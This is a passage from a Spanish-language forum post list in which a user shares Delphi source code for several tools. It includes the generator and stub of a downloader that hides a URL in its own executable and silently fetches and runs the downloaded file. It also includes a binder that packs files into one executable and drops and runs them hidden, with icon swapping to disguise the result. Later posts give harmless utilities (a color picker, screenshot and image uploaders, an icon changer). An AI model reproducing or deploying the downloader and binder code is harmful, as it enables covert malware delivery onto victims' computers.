ShellExecute( Handle, 'open' , Pchar ( Edit3. Text + '/' + nombrefinal) ,
nil , nil , SW_HIDE) ;
end
else
begin
ShellExecute( Handle, 'open' , Pchar ( nombrefinal) , nil , nil , SW_HIDE) ;
end ;
end ;
end ;
if CheckBox1. Checked or CheckBox2. Checked or CheckBox3. Checked or
CheckBox4. Checked or CheckBox5. Checked then
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Finished' ;
StatusBar1. Update ;
end ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
begin
if OpenDialog1. Execute then
begin
Image1. Picture . LoadFromFile ( OpenDialog1. filename ) ;
Edit6. Text : = OpenDialog1. filename ;
end ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
var
linea: string ;
aca: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
marca_uno: string ;
marca_dos: string ;
url: string ;
opcionocultar: string ;
savein: string ;
lineafinal: string ;
stubgenerado: string ;
tipodecarga: string ;
change: DWORD ;
valor: string ;
begin
url : = Edit4. Text ;
stubgenerado : = 'tiny_down.exe' ;
if ( RadioButton4. Checked = True ) then
begin
tipodecarga : = '1' ;
end
else
begin
tipodecarga : = '0' ;
end ;
if ( CheckBox6. Checked = True ) then
begin
opcionocultar : = '1' ;
end
else
begin
opcionocultar : = '0' ;
end ;
if ( ComboBox1. Items [ ComboBox1. ItemIndex ] = '' ) then
begin
savein : = 'USERPROFILE' ;
end
else
begin
savein : = ComboBox1. Items [ ComboBox1. ItemIndex ] ;
end ;
lineafinal : = '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
'[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5. Text + '[name]'
+ '[carga]' + tipodecarga + '[carga]' ;
marca_uno : = '[63686175]' + dhencode( lineafinal, 'encode' ) + '[63686175]' ;
aca : = INVALID_HANDLE_VALUE;
nose : = 0 ;
DeleteFile ( stubgenerado) ;
CopyFile( Pchar ( ExtractFilePath ( Application. ExeName ) + '/' +
'Data/stub_down.exe' ) , Pchar ( ExtractFilePath ( Application. ExeName ) + '/' +
stubgenerado) , True ) ;
linea : = marca_uno;
StrCopy ( code, Pchar ( linea) ) ;
aca : = CreateFile( Pchar ( stubgenerado) , GENERIC_WRITE, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( aca, 0 , nil , FILE_END) ;
WriteFile( aca, code, 9999 , nose, nil ) ;
CloseHandle( aca) ;
end ;
//
if not ( Edit6. Text = '' ) then
begin
try
begin
valor : = IntToStr ( 128 ) ;
change : = BeginUpdateResourceW
( PWideChar ( wideString ( ExtractFilePath ( Application. ExeName ) + '/' +
stubgenerado) ) , FALSE ) ;
LoadIconGroupResourceW( change, PWideChar ( wideString ( valor) ) , 0 ,
PWideChar ( wideString ( Edit6. Text ) ) ) ;
EndUpdateResourceW( change, FALSE ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done ' ;
StatusBar1. Update ;
end ;
except
begin
StatusBar1. Panels [ 0 ] . Text : = '[-] Error' ;
StatusBar1. Update ;
end ;
end ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Done ' ;
StatusBar1. Update ;
end ;
//
end ;
procedure TForm1. Edit5DblClick ( Sender: TObject ) ;
begin
if not ( Edit4. Text = '' ) then
begin
Edit5. Text : = getfilename( Edit4. Text ) ;
end ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
ProgressBar1. Position : = 0 ;
OpenDialog1. InitialDir : = GetCurrentDir ;
OpenDialog1. Filter : = 'ICO|*.ico|' ;
end ;
end .
// The End ?
El stub :
// DH Downloader 0.8
// (C) Doddy Hackman 2014
// Stub
program stub_down;
// {$APPTYPE CONSOLE}
uses
SysUtils, Windows, URLMon, ShellApi;
// Functions
function regex( text: String ; deaca: String ; hastaaca: String ) : String ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
//
var
ob: THandle ;
code: Array [ 0 .. 9999 + 1 ] of Char ;
nose: DWORD ;
link: string ;
todo: string ;
opcion: string ;
path: string ;
nombre: string ;
rutafinal: string ;
tipodecarga: string ;
begin
try
ob : = INVALID_HANDLE_VALUE;
code : = '' ;
ob : = CreateFile( pchar ( paramstr ( 0 ) ) , GENERIC_READ, FILE_SHARE_READ, nil ,
OPEN_EXISTING, 0 , 0 ) ;
if ( ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer( ob, - 9999 , nil , FILE_END) ;
ReadFile( ob, code, 9999 , nose, nil ) ;
CloseHandle( ob) ;
end ;
todo : = regex( code, '[63686175]' , '[63686175]' ) ;
todo : = dhencode( todo, 'decode' ) ;
link : = regex( todo, '[link]' , '[link]' ) ;
opcion : = regex( todo, '[opcion]' , '[opcion]' ) ;
path : = regex( todo, '[path]' , '[path]' ) ;
nombre : = regex( todo, '[name]' , '[name]' ) ;
tipodecarga : = regex( todo, '[carga]' , '[carga]' ) ;
rutafinal : = GetEnvironmentVariable ( path) + '/' + nombre;
try
begin
UrlDownloadToFile( nil , pchar ( link) , pchar ( rutafinal) , 0 , nil ) ;
if ( FileExists ( rutafinal) ) then
begin
if ( opcion = '1' ) then
begin
SetFileAttributes( pchar ( rutafinal) , FILE_ATTRIBUTE_HIDDEN) ;
end ;
if ( tipodecarga = '1' ) then
begin
ShellExecute( 0 , 'open' , pchar ( rutafinal) , nil , nil , SW_HIDE) ;
end
else
begin
ShellExecute( 0 , 'open' , pchar ( rutafinal) , nil , nil , SW_SHOWNORMAL) ;
end ;
end ;
end ;
except
//
end ;
except
//
end ;
end .
// The End ?
Si lo quieren bajar lo pueden hacer de
aca .
124
Programación / Programación General / [Delphi] DH Binder 0.5
en: 21 Mayo 2014, 23:11 pm
Version final de esta binder que hice en Delphi.
Una imagen :
Un video con un ejemplo de uso :
VIDEO Los codigos :
El generador.
// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
unit dh;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. ComCtrls , Vcl. Imaging . pngimage ,
Vcl. ExtCtrls , Vcl. StdCtrls , Vcl. Menus , MadRes;
type
TForm1 = class ( TForm)
Image1: TImage;
StatusBar1: TStatusBar;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
TabSheet4: TTabSheet;
GroupBox1: TGroupBox;
Button1: TButton;
GroupBox2: TGroupBox;
ListView1: TListView;
GroupBox3: TGroupBox;
GroupBox4: TGroupBox;
ComboBox1: TComboBox;
GroupBox5: TGroupBox;
CheckBox1: TCheckBox;
GroupBox6: TGroupBox;
GroupBox7: TGroupBox;
Image2: TImage;
GroupBox8: TGroupBox;
Button2: TButton;
GroupBox9: TGroupBox;
Image3: TImage;
Memo1: TMemo;
PopupMenu1: TPopupMenu;
AddFile1: TMenuItem;
CleanList1: TMenuItem;
OpenDialog1: TOpenDialog;
OpenDialog2: TOpenDialog;
Edit1: TEdit;
procedure CleanList1Click( Sender: TObject ) ;
procedure AddFile1Click( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
procedure Button1Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
//
procedure TForm1. AddFile1Click ( Sender: TObject ) ;
var
op: String ;
begin
if OpenDialog1. Execute then
begin
op : = InputBox( 'Add File' , 'Execute Hide ?' , 'Yes' ) ;
with ListView1. Items . Add do
begin
Caption : = ExtractFileName ( OpenDialog1. FileName ) ;
if ( op = 'Yes' ) then
begin
SubItems. Add ( OpenDialog1. FileName ) ;
SubItems. Add ( 'Hide' ) ;
end
else
begin
SubItems. Add ( OpenDialog1. FileName ) ;
SubItems. Add ( 'Normal' ) ;
end ;
end ;
end ;
end ;
procedure TForm1. Button1Click ( Sender: TObject ) ;
var
i: integer ;
nombre: string ;
ruta: string ;
tipo: string ;
savein: string ;
opcionocultar: string ;
lineafinal: string ;
uno: DWORD ;
tam: DWORD ;
dos: DWORD ;
tres: DWORD ;
todo: Pointer ;
change: DWORD ;
valor: string ;
stubgenerado: string ;
begin
if ( ListView1. Items . Count = 0 ) or ( ListView1. Items . Count = 1 ) then
begin
ShowMessage( 'You have to choose two or more files' ) ;
end
else
begin
stubgenerado : = 'done.exe' ;
if ( CheckBox1. Checked = True ) then
begin
opcionocultar : = '1' ;
end
else
begin
opcionocultar : = '0' ;
end ;
if ( ComboBox1. Items [ ComboBox1. ItemIndex ] = '' ) then
begin
savein : = 'USERPROFILE' ;
end
else
begin
savein : = ComboBox1. Items [ ComboBox1. ItemIndex ] ;
end ;
DeleteFile ( stubgenerado) ;
CopyFile( PChar ( ExtractFilePath ( Application. ExeName ) + '/' +
'Data/stub.exe' ) , PChar ( ExtractFilePath ( Application. ExeName ) + '/' +
stubgenerado) , True ) ;
uno : = BeginUpdateResource( PChar ( ExtractFilePath ( Application. ExeName ) + '/'
+ stubgenerado) , True ) ;
for i : = 0 to ListView1. Items . Count - 1 do
begin
nombre : = ListView1. Items [ i] . Caption ;
ruta : = ListView1. Items [ i] . SubItems [ 0 ] ;
tipo : = ListView1. Items [ i] . SubItems [ 1 ] ;
lineafinal : = '[nombre]' + nombre + '[nombre][tipo]' + tipo +
'[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]' ;
lineafinal : = '[63686175]' + dhencode( UpperCase ( lineafinal) , 'encode' ) +
'[63686175]' ;
dos : = CreateFile( PChar ( ruta) , GENERIC_READ, FILE_SHARE_READ, nil ,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ) ;
tam : = GetFileSize( dos, nil ) ;
GetMem ( todo, tam) ;
ReadFile( dos, todo^ , tam, tres, nil ) ;
CloseHandle( dos) ;
UpdateResource( uno, RT_RCDATA, PChar ( lineafinal) ,
MAKEWord( LANG_NEUTRAL, SUBLANG_NEUTRAL) , todo, tam) ;
end ;
EndUpdateResource( uno, False ) ;
if not ( Edit1. Text = '' ) then
begin
try
begin
change : = BeginUpdateResourceW
( PWideChar ( wideString ( ExtractFilePath ( Application. ExeName ) + '/' +
stubgenerado) ) , False ) ;
LoadIconGroupResourceW( change, PWideChar ( wideString ( valor) ) , 0 ,
PWideChar ( wideString ( Edit1. Text ) ) ) ;
EndUpdateResourceW( change, False ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done ' ;
Form1. StatusBar1 . Update ;
end ;
except
begin
StatusBar1. Panels [ 0 ] . Text : = '[-] Error' ;
Form1. StatusBar1 . Update ;
end ;
end ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Done ' ;
Form1. StatusBar1 . Update ;
end ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
begin
if OpenDialog2. Execute then
begin
Image2. Picture . LoadFromFile ( OpenDialog2. FileName ) ;
Edit1. Text : = OpenDialog2. FileName ;
end ;
end ;
procedure TForm1. CleanList1Click ( Sender: TObject ) ;
begin
ListView1. Items . Clear ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
OpenDialog2. InitialDir : = GetCurrentDir ;
OpenDialog2. Filter : = 'Icons|*.ico|' ;
end ;
end .
// The End ?
El stub.
// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
program stub;
uses
Windows,
SysUtils,
ShellApi;
// Functions
function regex( text: String ; deaca: String ; hastaaca: String ) : String ;
begin
Delete ( text, 1 , AnsiPos ( deaca, text) + Length ( deaca) - 1 ) ;
SetLength ( text, AnsiPos ( hastaaca, text) - 1 ) ;
Result : = text;
end ;
function dhencode( texto, opcion: string ) : string ;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer ;
aca: string ;
cantidad: integer ;
begin
num : = 0 ;
Result : = '' ;
aca : = '' ;
cantidad : = 0 ;
if ( opcion = 'encode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad do
begin
aca : = IntToHex ( ord ( texto[ num] ) , 2 ) ;
Result : = Result + aca;
end ;
end ;
if ( opcion = 'decode' ) then
begin
cantidad : = Length ( texto) ;
for num : = 1 to cantidad div 2 do
begin
aca : = Char ( StrToInt ( '$' + Copy ( texto, ( num - 1 ) * 2 + 1 , 2 ) ) ) ;
Result : = Result + aca;
end ;
end ;
end ;
//
// Start the game
function start( tres: THANDLE ; cuatro, cinco: PChar ; seis: DWORD ) : BOOL ; stdcall ;
var
data: DWORD ;
uno: DWORD ;
dos: DWORD ;
cinco2: string ;
nombre: string ;
tipodecarga: string ;
ruta: string ;
ocultar: string ;
begin
Result : = True ;
cinco2 : = cinco;
cinco2 : = regex( cinco2, '[63686175]' , '[63686175]' ) ;
cinco2 : = dhencode( cinco2, 'decode' ) ;
cinco2 : = LowerCase ( cinco2) ;
nombre : = regex( cinco2, '[nombre]' , '[nombre]' ) ;
tipodecarga : = regex( cinco2, '[tipo]' , '[tipo]' ) ;
ruta : = GetEnvironmentVariable ( regex( cinco2, '[dir]' , '[dir]' ) ) + '/' ;
ocultar : = regex( cinco2, '[hide]' , '[hide]' ) ;
data : = FindResource( 0 , cinco, cuatro) ;
uno : = CreateFile( PChar ( ruta + nombre) , GENERIC_WRITE, FILE_SHARE_WRITE, nil ,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 ) ;
WriteFile( uno, LockResource( LoadResource( 0 , data) ) ^ , SizeOfResource( 0 , data) ,
dos, nil ) ;
CloseHandle( uno) ;
if ( ocultar = '1' ) then
begin
SetFileAttributes( PChar ( ruta + nombre) , FILE_ATTRIBUTE_HIDDEN) ;
end ;
if ( tipodecarga = 'normal' ) then
begin
ShellExecute( 0 , 'open' , PChar ( ruta + nombre) , nil , nil , SW_SHOWNORMAL) ;
end
else
begin
ShellExecute( 0 , 'open' , PChar ( ruta + nombre) , nil , nil , SW_HIDE) ;
end ;
end ;
begin
EnumResourceNames( 0 , RT_RCDATA, @ start, 0 ) ;
end .
// The End ?
Si lo quieren bajar lo pueden hacer de
aca .
125
Programación / Programación General / [Delphi] DH GetColor 0.3
en: 16 Mayo 2014, 18:20 pm
Version final de este programa para encontrar el color de un pixel.
Una imagen :
El codigo :
// DH GetColor 0.3 // (C) Doddy Hackman 2014 // Credits : // Based on : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way // Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor unit dh; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Clipbrd; type TForm1 = class(TForm) Image1: TImage; StatusBar1: TStatusBar; Timer1: TTimer; GroupBox1: TGroupBox; Shape1: TShape; GroupBox2: TGroupBox; Memo1: TMemo; Label1: TLabel; Label2: TLabel; Timer2: TTimer; procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Timer2Timer(Sender: TObject); private capturanow: HDC; { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin capturanow := GetDC(0); if (capturanow <> 0) then begin Timer1.Enabled := True; end; end; procedure TForm1.Timer1Timer(Sender: TObject); var aca: TPoint; color: TColor; re: string; begin if GetCursorPos(aca) then begin color := GetPixel(capturanow, aca.X, aca.Y); Shape1.Brush.color := color; re := IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2) + IntToHex(GetBValue(color), 2); Label2.Caption := re; StatusBar1.Panels[0].Text := '[+] Finding colors ...'; Form1.StatusBar1.Update; end; end; procedure TForm1.Timer2Timer(Sender: TObject); var re: Longint; begin re := GetAsyncKeyState(65); if re = -32767 then begin Clipboard.AsText := Label2.Caption; StatusBar1.Panels[0].Text := '[+] Color copied to clipboard'; Form1.StatusBar1.Update; end; end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de
aca .
126
Programación / Programación General / [Delphi] DH ScreenShoter 0.3
en: 9 Mayo 2014, 20:22 pm
Version final de este programa para sacar un screenshot y subirlo ImageShack.
Una imagen :
El codigo :
// DH Screenshoter 0.3
// (C) Doddy Hackman 2014
// Based in the API of : https://imageshack.com/
unit screen;
interface
uses
Windows, System. SysUtils , System. Variants ,
System. Classes , Graphics,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , Vcl. Imaging . pngimage , Vcl. ExtCtrls ,
Vcl. ComCtrls , Vcl. StdCtrls , Jpeg, ShellApi, IdMultipartFormData,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
about;
type
TForm1 = class ( TForm)
Image1: TImage;
StatusBar1: TStatusBar;
GroupBox1: TGroupBox;
CheckBox1: TCheckBox;
Edit1: TEdit;
CheckBox2: TCheckBox;
Edit2: TEdit;
Label1: TLabel;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
GroupBox2: TGroupBox;
Edit3: TEdit;
GroupBox3: TGroupBox;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
IdHTTP1: TIdHTTP;
procedure Button1Click( Sender: TObject ) ;
procedure Button4Click( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
procedure Button3Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
procedure capturar( nombre: string ) ;
// Function capturar() based in :
// http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
// http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
// http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
// Thanks to Zarko Gajic , Luthfi and Ken White
var
aca: HDC;
tan : TRect;
posnow: TPoint;
imagen1: TBitmap;
imagen2: TJpegImage;
curnow: THandle ;
begin
aca : = GetWindowDC( GetDesktopWindow) ;
imagen1 : = TBitmap. Create ;
GetWindowRect( GetDesktopWindow, tan ) ;
imagen1. Width : = tan . Right - tan . Left ;
imagen1. Height : = tan . Bottom - tan . Top ;
BitBlt( imagen1. Canvas . Handle , 0 , 0 , imagen1. Width , imagen1. Height , aca, 0 ,
0 , SRCCOPY) ;
GetCursorPos( posnow) ;
curnow : = GetCursor;
DrawIconEx( imagen1. Canvas . Handle , posnow. X , posnow. Y , curnow, 32 , 32 , 0 , 0 ,
DI_NORMAL) ;
imagen2 : = TJpegImage. Create ;
imagen2. Assign ( imagen1) ;
imagen2. CompressionQuality : = 60 ;
imagen2. SaveToFile ( nombre) ;
imagen1. Free ;
imagen2. Free ;
end ;
//
procedure TForm1. Button1Click ( Sender: TObject ) ;
var
fecha: TDateTime ;
fechafinal: string ;
nombrefecha: string ;
i: integer ;
datos: TIdMultiPartFormDataStream;
code: string ;
regex: TPerlRegEx;
url: string ;
begin
Edit3. Text : = '' ;
regex : = TPerlRegEx. Create ( ) ;
fecha : = now ( ) ;
fechafinal : = DateTimeToStr ( fecha) ;
nombrefecha : = fechafinal + '.jpg' ;
nombrefecha : = StringReplace ( nombrefecha, '/' , ':' ,
[ rfReplaceAll, rfIgnoreCase] ) ;
nombrefecha : = StringReplace ( nombrefecha, ' ' , '' ,
[ rfReplaceAll, rfIgnoreCase] ) ;
nombrefecha : = StringReplace ( nombrefecha, ':' , '_' ,
[ rfReplaceAll, rfIgnoreCase] ) ;
if ( CheckBox2. Checked ) then
begin
for i : = 1 to StrToInt ( Edit2. Text ) do
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Taking picture on : ' + IntToStr ( i) +
' seconds ' ;
Form1. StatusBar1 . Update ;
Sleep ( i * 1000 ) ;
end ;
end ;
Form1. Hide ;
Sleep ( 1000 ) ;
if ( CheckBox1. Checked ) then
begin
capturar( Edit1. Text ) ;
end
else
begin
capturar( nombrefecha) ;
end ;
Form1. Show ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Photo taken' ;
Form1. StatusBar1 . Update ;
if ( CheckBox4. Checked ) then
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Uploading ...' ;
Form1. StatusBar1 . Update ;
datos : = TIdMultiPartFormDataStream. Create ;
datos. AddFormField ( 'key' , '' ) ;
// Fuck You
if ( CheckBox1. Checked ) then
begin
datos. AddFile ( 'fileupload' , Edit1. Text , 'application/octet-stream' ) ;
end
else
begin
datos. AddFile ( 'fileupload' , nombrefecha, 'application/octet-stream' ) ;
end ;
datos. AddFormField ( 'format' , 'json' ) ;
code : = IdHTTP1. Post ( 'http://post.imageshack.us/upload_api.php' , datos) ;
regex. regex : = '"image_link":"(.*?)"' ;
regex. Subject : = code;
if regex. Match then
begin
url : = regex. Groups [ 1 ] ;
url : = StringReplace ( url, '\' , '' , [ rfReplaceAll, rfIgnoreCase] ) ;
Edit3. Text : = url;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done' ;
Form1. StatusBar1 . Update ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[-] Error uploading' ;
Form1. StatusBar1 . Update ;
end ;
end ;
if ( CheckBox3. Checked ) then
begin
if ( CheckBox1. Checked ) then
begin
ShellExecute( Handle, 'open' , Pchar ( Edit1. Text ) , nil , nil , SW_SHOWNORMAL) ;
end
else
begin
ShellExecute( Handle, 'open' , Pchar ( nombrefecha) , nil , nil , SW_SHOWNORMAL) ;
end ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
begin
Edit3. SelectAll ;
Edit3. CopyToClipboard ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
begin
Form2. Show ;
end ;
procedure TForm1. Button4Click ( Sender: TObject ) ;
begin
Form1. Close ( ) ;
Form2. Close ( ) ;
end ;
end .
// The End ?
Si quieren bajar el programa lo pueden hacer de
aca .
127
Programación / Programación General / [Delphi] ImageShack Uploader 0.3
en: 2 Mayo 2014, 23:01 pm
Version Final de este programa para subir imagenes a ImageShack usando el API que ofrecen.
Una imagen :
El codigo :
// ImageShack Uploader 0.3
// Based in the API of ImageShack
// Coded By Doddy H
unit image;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP, Vcl. Imaging . pngimage , Vcl. ExtCtrls ,
Vcl. ComCtrls , Vcl. StdCtrls , about, IdMultipartFormData, PerlRegEx;
type
TForm1 = class ( TForm)
IdHTTP1: TIdHTTP;
Image1: TImage;
StatusBar1: TStatusBar;
GroupBox1: TGroupBox;
Edit1: TEdit;
Button1: TButton;
OpenDialog1: TOpenDialog;
GroupBox2: TGroupBox;
Edit2: TEdit;
GroupBox3: TGroupBox;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
procedure Button4Click( Sender: TObject ) ;
procedure Button1Click( Sender: TObject ) ;
procedure Button3Click( Sender: TObject ) ;
procedure Button5Click( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1. Button1Click ( Sender: TObject ) ;
begin
if OpenDialog1. Execute then
begin
Edit1. Text : = OpenDialog1. FileName ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
var
regex: TPerlRegEx;
datos: TIdMultiPartFormDataStream;
code: string ;
url: string ;
begin
if FileExists ( Edit1. Text ) then
begin
regex : = TPerlRegEx. Create ( ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Uploading ...' ;
Form1. StatusBar1 . Update ;
datos : = TIdMultiPartFormDataStream. Create ;
datos. AddFormField ( 'key' , '' ) ;
// Fuck You
datos. AddFile ( 'fileupload' , Edit1. Text , 'application/octet-stream' ) ;
datos. AddFormField ( 'format' , 'json' ) ;
code : = IdHTTP1. Post ( 'http://post.imageshack.us/upload_api.php' , datos) ;
regex. regex : = '"image_link":"(.*?)"' ;
regex. Subject : = code;
if regex. Match then
begin
url : = regex. Groups [ 1 ] ;
url : = StringReplace ( url, '\' , '' , [ rfReplaceAll, rfIgnoreCase] ) ;
Edit2. Text : = url;
StatusBar1. Panels [ 0 ] . Text : = '[+] Done' ;
Form1. StatusBar1 . Update ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[-] Error uploading' ;
Form1. StatusBar1 . Update ;
end ;
regex. Free ;
end
else
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] File not Found' ;
Form1. StatusBar1 . Update ;
end ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
begin
Edit2. SelectAll ;
Edit2. CopyToClipboard ;
end ;
procedure TForm1. Button4Click ( Sender: TObject ) ;
begin
Form2. Show ;
end ;
procedure TForm1. Button5Click ( Sender: TObject ) ;
begin
Form1. Close ( ) ;
Form2. Close ( ) ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
OpenDialog1. InitialDir : = GetCurrentDir ;
end ;
end .
// The End ?
Si lo quieren bajar lo pueden hacer de
aca .
130
Programación / Programación General / [Delphi] DH Icon Changer 0.5
en: 11 Abril 2014, 18:36 pm
Version final de este programa para cambiarle el icono a cualquier programa (eso creo).
Una imagen :
El codigo.
// DH Icon Changer 0.5
// (C) Doddy Hackman 2014
// Based on IconChanger By Chokstyle
// Thanks to Chokstyle
unit icon;
interface
uses
Winapi. Windows , Winapi. Messages , System. SysUtils , System. Variants ,
System. Classes , Vcl. Graphics ,
Vcl. Controls , Vcl. Forms , Vcl. Dialogs , madRes, Vcl. StdCtrls ,
Vcl. Imaging . pngimage , Vcl. ExtCtrls , Vcl. ComCtrls , about;
type
TForm1 = class ( TForm)
Image1: TImage;
GroupBox1: TGroupBox;
Edit1: TEdit;
Button1: TButton;
OpenDialog1: TOpenDialog;
StatusBar1: TStatusBar;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
Button2: TButton;
GroupBox4: TGroupBox;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Edit2: TEdit;
Image2: TImage;
OpenDialog2: TOpenDialog;
procedure Button1Click( Sender: TObject ) ;
procedure Button4Click( Sender: TObject ) ;
procedure Button5Click( Sender: TObject ) ;
procedure FormCreate( Sender: TObject ) ;
procedure Button2Click( Sender: TObject ) ;
procedure Button3Click( Sender: TObject ) ;
private
{ Private declarations }
public
{ Public declarations }
end ;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1. Button1Click ( Sender: TObject ) ;
begin
if OpenDialog1. Execute then
begin
Edit1. Text : = OpenDialog1. FileName ;
end ;
end ;
procedure TForm1. Button2Click ( Sender: TObject ) ;
begin
if OpenDialog2. Execute then
begin
Image2. Picture . LoadFromFile ( OpenDialog2. FileName ) ;
Edit2. Text : = OpenDialog2. FileName ;
end ;
end ;
procedure TForm1. Button3Click ( Sender: TObject ) ;
var
op: string ;
change: dword ;
valor: string ;
begin
valor : = IntToStr ( 128 ) ;
op : = InputBox( 'Backup' , 'Backup ?' , 'Yes' ) ;
if op = 'Yes' then
begin
CopyFile( PChar ( Edit1. Text ) , PChar ( ExtractFilePath ( Application. ExeName ) +
'backup' + ExtractFileExt ( Edit1. Text ) ) , True ) ;
end ;
try
begin
change : = BeginUpdateResourceW( PWideChar ( wideString ( Edit1. Text ) ) , false ) ;
LoadIconGroupResourceW( change, PWideChar ( wideString ( valor) ) , 0 ,
